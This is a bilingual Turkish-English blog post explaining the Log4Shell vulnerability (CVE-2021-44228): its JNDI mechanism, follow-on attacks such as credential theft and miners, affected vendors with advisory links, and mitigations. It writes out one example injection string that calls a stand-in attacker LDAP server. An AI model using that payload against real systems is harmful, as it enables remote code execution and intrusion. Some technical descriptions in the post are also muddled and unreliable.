Log4j Zero-Day Vulnerability - Bir Sabah Ansızın Hayatımızda Beliren Kavram TR|EN

in Hive TR3 years ago

Bilişim sektöründe duymayan kalmamıştır diye düşünüyorum ama yine de Türkçe araştırmacılar için ulaşılabilecek bir makale tadında sizlere Log4j'yi açıklamak istedim. Bu yazımda Log4j nedir, örnek komutlar, kimler etkilendi ve etkilenmemek için neler yapılmalı bu konulara değineceğim. Hadi biraz siber güvenlik konuşalım.

I think there is no one left unheard in the IT Industry, but I still wanted to explain Log4j to you as an post for Turkish researchers. In this post, I will talk about what Log4j is, sample commands, who is affected and what should be done to avoid being affected. Let's talk about cybersecurity.

9 Aralık 2021 tarihinde, popüler Apache Log4j'nin birden çok sürümünü (özelikle 2.x+) etkileyen Zero-Day (Sıfırıncı Gün Atağı) hayatımıza geldi ve yeni bir kritik güvenlik açığı açıklandı. Bu güvenlik açığından yararlanılması durumunda, kurulumlarda belirli bir dizenin günlüğe kaydedilmesiyle uzaktan kod yürütülmesine yani RCE – Remote Code Execution'a sebep olabildiği tespit edildi.

On December 9, 2021, Zero-Day (0-Day Attack) came into our lives affecting multiple versions of popular Apache Log4j (especially 2.x+), and a new critical vulnerability was disclosed. It was found that exploiting this vulnerability could cause remote code execution, namely RCE, by logging a specific string in installations.

Bu özel güvenlik açığına tabi ki de hemen kimliklendirme yapıldı güvenlik üreticileri tarafında sorgulamak isterseniz CVE-2021-44228 kodu atanmıştır ve çeşitli bloglarda ve raporlarda yaygın olarak "Log4Shell" olarak da anılmaya başlandı. Etkilendiği söylenen kitaplığın sürümleri, 2.0-beta 9 ile 2.14.1. sürümleridir.

Of course, this particular vulnerability was immediately identified, if you want to query it by the security manufacturers, the code CVE-2021-44228 has been assigned and it has been commonly referred to as "Log4Shell" in various blogs and reports. The versions of the library said to be affected are 2.0-beta 9 through 2.14.1. are versions.

Bu arada aramızda bizler gibi CEH'lar (Certified Ethical Hacker) varsa ya da abi ben hobi olarak hackerım yolla bir bakayım şu Log4j'ye diyen varsa buyrun efendim linki aşağıya bıraktım;

By the way, if there are CEHs (Certified Ethical Hackers) like us among us, or if anyone says, "hey show me the Log4j" I left the link below;

https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-core/2.15.0/

Log4j nedir peki? - What is Log4j

Apache web sunucularını kullanan (Apache; genellikle Linux işletim sistemi sunucularda tercih edilir fakat windows’a da IIS alternatifi olarak kurulabilmekte, açık kaynak kodlu web sunucu programıdır), birçok bulut hizmeti de dahil olmak üzere çeşitli kurumsal uygulamalarda yaygın olarak kullanılan aynı zamanda da Java tabanlı bir günlük kaydı yardımcı programıdır. Adı üstünde log 😊

It's an open source web server program that uses Apache web servers (Apache; usually preferred on Linux operating system servers but can be installed as an IIS alternative to windows), widely used in various enterprise applications including many cloud services, but also Java-based is a logging utility. That's why there's a log in the name 😊

Aslında bu açık güvenlik açığı (CVE-2021-44228 olarak atanan) etkilenen Log4j sürümlerinde Java İsimlendirme ve Dizin Arabirimi (JNDI) güvenlik açığıdır. Etkilenen bir Log4j sürümünü kullanan bir sistem, günlüğe kaydedilen iletide, güvenilmeyen veriler içerdiğinde tetiklenebilir, ve bu veriler hazırlanmış kötü amaçlı veri içeriyorsa, kötü amaçlı bir sunucuya bir JNDI araması yapılır. Geri gönderilen bilgilere bağlı olarak da, sonunda RCE yani uzaktan kod çalıştırmaya yol açabilecek kötü amaçlı bir Java nesnesi yüklenebilir. Ayrıca, günlük mesajlarını veya parametrelerini kontrol edebilen saldırganlar, mesaj arama kontrolü etkinleştirildiğinde LDAP sunucularından yüklenen rastgele kodu da çalıştırabilirler. Bu güvenlik açığıyla ilgili zorluk ise; günlük kaydı yardımcı programının birçok kurumsal ve bulut uygulamasında yaygın olarak kullanılmasıdır. JDNI aramaları birden çok protokolü destekler, ancak şu ana kadarki analizlere dayalı olarak, istismar edilebilirlik Java sürümlerine ve yapılandırmalarına bağlı.

In fact, this vulnerability (assigned CVE-2021-44228) is a Java Naming and Directory Interface (JNDI) vulnerability in the affected versions of Log4j. A system using an infected version of Log4j can be triggered when the logged message contains untrusted data, and if that data contains malicious data, a JNDI call is made to a malicious server. Depending on the information returned, a malicious Java object may be loaded, which can eventually lead to RCE - remote code execution. In addition, attackers who can control log messages or parameters can also execute arbitrary code loaded from LDAP servers when message search control is enabled. The difficulty with this vulnerability is; logging utility is widely used in many enterprise and cloud applications. JDNI searches support multiple protocols, but based on analysis so far, exploitability depends on which java versions and configurations.

Log4Shell'den yararlanabilecek saldırılardan kaynaklanan olası bir bulaşma akışı:

A possible infection stream from attacks that could exploit Log4Shell:

Bulaşma-Senaryosu.png

Basit bir komut aracılığı ile sanki bir arama yapılıyormuş gibi uzaktan $ ve {} (süslü parantez) içerisi doldurularak sorgu çalıştırılabilir.
${jndi:ldap://attacker-controlled-server}

Örnek komut yok mu? hemen verelim efendim buyrunuz;

Give me some examples;

Base64.png

Peki yakaladığımızda nasıl şeyler göreceğiz? onu da paylaşalım efendim buyrunuz;

So what kind of things will we see when we catch it?

000.png
02.png
03.png
04.png

Eğer bu komut başarılı olarak çalıştırılırsa sonuçtan bağımsız olarak, aramadaki URL içeriğine bağlı sunucu dizeyi yorumlayacak. Bu daha sonra diğerleri arasında Java Sınıfı, JavaScript ve Unix kabuğu gibi çeşitli biçimlerde isteğe bağlı kabuk komutlarına yol açabilir. Ve tabi ki de sonrası saldırganın hayal gücü ile genişleyen bir dünya karşımıza çıkar. Lateral Movement dediğimiz yatay hareket denemeleri ilk sırada gelecektir. Çünkü içeride ele geçirilmiş bir sunucu sonrasında yatayda daha nerelere gidip hangi makineleri ele geçirebilirim araştırması ya da bilgi istihbaratının geriye/dışarıya döndürülmesi karşılaşılabilecek ilk sonuçlar arasındadır. Yatay hareket için de karşımıza “Cobeacon” gibi bir bileşen çıkıyor, pek bilgi sahibi değilim nedir diye ama hem yatay hareket için kullanılabilen hem de çeşitli fidye yazılımı saldırılarında çalıştırılan bileşenler olduğundan bir fidye yazılımı enfeksiyonuna yol açabilecek aracılar olarak anladım. İlgi duyanlar bakabilir.

If this command run successfully, regardless of the result, the server based on the URL content in the search will interpret the string. Then lead to optional shell commands in various forms such as Java Class, JavaScript, and Unix shell, and many others. And of course, after that, a world that expands with the imagination of the hacker. Lateral Movement will come first. Because after a captured server inside, the lateral research of where I can go and which machines or server I can be captured, or the return of information intelligence are among the first results that can be encountered. For lateral movement, we come across a component like “Cobeacon”, I don't know much about what it is, but since there are components that can be used both for lateral movement and run in various ransomware attacks, I understood them that can lead to a ransomware infection. Interested people can take a look this word Cobeacon.

Peki yatay hareket haricinde ne yapılabilir? Tabi ki de hırsızlık, kimlik bilgileri erişimi. Güvenlik açığı, Kirabash gibi kimlik bilgilerini çalma özelliğine sahip kötü amaçlı yazılımların indirilmesine de yol açabildiği raporlanmış. Ve daha bir çok şey aklınıza getirebilirsiniz DDOS saldırıları, botnetler (örneğin Mirai Botnet), hatta crypto miner’lar (Kinsing coinminer) dahil. Özetle birisi size dışarıdan uzaktan hiç erişiminiz olmayan başka insanların sunucularında bir şeyler çalıştırmanıza yarayan bir kapı sunuyor.
Kirabash, /etc/passwd ve /etc/shadow dosyalarını sızdırarak kimlik bilgilerini çalmaya çalışır.

So what can be done other than lateral movement? Of course, theft, access to credentials. The vulnerability has also been reported to lead to the download of malicious software with the ability to steal credentials, such as Kirabash. And many more you can think of, including DDOS attacks, botnets (e.g. Mirai Botnet), even crypto miners (Kinsing coinminer). In a nutshell, someone is giving you a door to run things on other people's servers that you have no remote access to from the outside. For ex. Kirabash attempts to steal credentials by leaking the /etc/passwd and /etc/shadow files.

Kirabash.png

Peki bu açıktan nasıl korunacağız dediğinizi duyar gibiyim.

Well, I hear you say how we will protect ourselves from this vulnerability.

  • Tabi ki de öncelikle kullandığınız ürünler güncel mi diye kontrol etmenizde fayda var. Eğer üreticiniz son birkaç gün içerisinde bir güncelleme çıkardıysa kontrolleri sağlayıp bu güncellemeleri geçmekte fayda olacaktır.

Of course, first of all, it is useful to check whether the products you use are up-to-date. If your manufacturer has released an update in the last few days, it will be useful to check and pass these updates.

  • Aşağıda birkaç üretici yazacağım, etkilendiği duyurulan üreticiler, eğer bu üreticiler yada ürünlere sahipseniz ya da kullanıyorsanız yanlarına yazdığım linkleri kontrol etmenizde fayda var. Şayet VMWare hala patch çıkaramadı diye biliyorum.

I will write a few vendors below, vendors announced to be affected, if you own or use these brands or solutions or products, it would be useful to check the links I wrote. I think VMWare still couldn't patch it.

VMWare > https://www.vmware.com/security/advisories/VMSA-2021-0028.html

Birden fazla ürün etkilendiği bilgisi raporlandı.

Citrix > https://support.citrix.com/article/CTX335705

Araştırma devam etmekte.

Atlassian > https://confluence.atlassian.com/kb/faq-for-cve-2021-44228-1103069406.html

Eğer varsayılan yapılandırma ile kullanılmaktaysa (default ayarlarda) Atlassian savunmasızdır.

NetApp > https://security.netapp.com/advisory/ntap-20211210-0007/

Birden çok NetApp ürünü savunmasız olduğu raporlandı..

Apache Solr > https://solr.apache.org/security.html#apache-solr-affected-by-apache-log4j-cve-2021-44228

7.4'ten önceki Apache Solr sürümleri etkilendiği raporlandı.

Jenkins > https://www.jenkins.io/blog/2021/12/10/log4j2-rce-CVE-2021-44228/
Jenkins > https://issues.jenkins.io/browse/JENKINS-67353?focusedCommentId=416946&page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel#comment-416946

Jenkins Core varsayılan olarak etkilenmese de Jenkins'e yüklenen eklentiler Log4J'nin savunmasız versyionunu kullanabilir. Yüklü eklentilerden herhangi birinin Log4j kullanıp kullanmadığını doğrulamak için de sürüm kontrolü sağlanabilir. İkinci paylaştığım linkte savunmasız sürümlerinin listesini bulabilirsiniz.

Redhat > https://access.redhat.com/security/cve/cve-2021-44228

Tüm RedHat'ler etkilenmedi, sadece Openshift ve JBoss paketlerinden bazıları etkilendiği bilgisi raporlandı.

  • Intrusion Prevention (IPS) / Sanal Yama ya da Virtual Patching olarak duyabileceğiniz çözümler kullanmanızı tavsiye ederim, bu açıktan etkilenmeyen bir çok üretici hızlıca sanal yama kuralları ve imzaları ile kendilerini güvence altına aldılar.

I recommend using solutions that you may hear as Intrusion Prevention (IPS) or Virtual Patching, many cyber security manufacturers that are not affected by this vulnerability and they have quickly secured themselves with virtual patch rules and signatures.

  • Eğer bir web hizmetiniz var ya da kişisel bir web siteniz bile olsa Linux ya da apache bir sistem ile servis ediyorsanız ya da açık var mı diye merak ettiğiniz bir url varsa sizin için aşağıya bir tool bırakıyorum. Bu tool aracılığı ile kontrol sağlayabilirsiniz.

If you have a web service, even if you have a personal website, you are serving it with a Linux or apache system, or if you have a url that you wonder if it is open for this vulnerability, I put a tool for you below. You can control it with this tool.

https://log4j-tester.trendmicro.com/

  • Zero Day açıklar hakkında biraz daha haber sahibi olmak ilginizi çektiyse, bizim de çalışmakta olduğumuz ekibin sayfasını aşağıya bırakıyorum. Daha üreticileri kapatmadan bir çok açık bu sayfalarda üreticilere bildiriliyor ve IPS ürünleri ile gerekli yamalar sağlanıyor. Korkulu rüya görmemek adına biz bu açığı zaten biliyorduk diyenlerden olmak önemli 😊

If you're interested in knowing a little more about Zero Day (0-Day) vulnerabilities, I'll leave the page of the team we're working with below. Before closing the vendors, many vulnerabilities are reported to the vendors on these pages and necessary patches are provided with IPS products. It's important to be one of those who say that we already knew about this gap in order not to have a scary dream 😊

https://www.zerodayinitiative.com/advisories/published/

Sevgiler.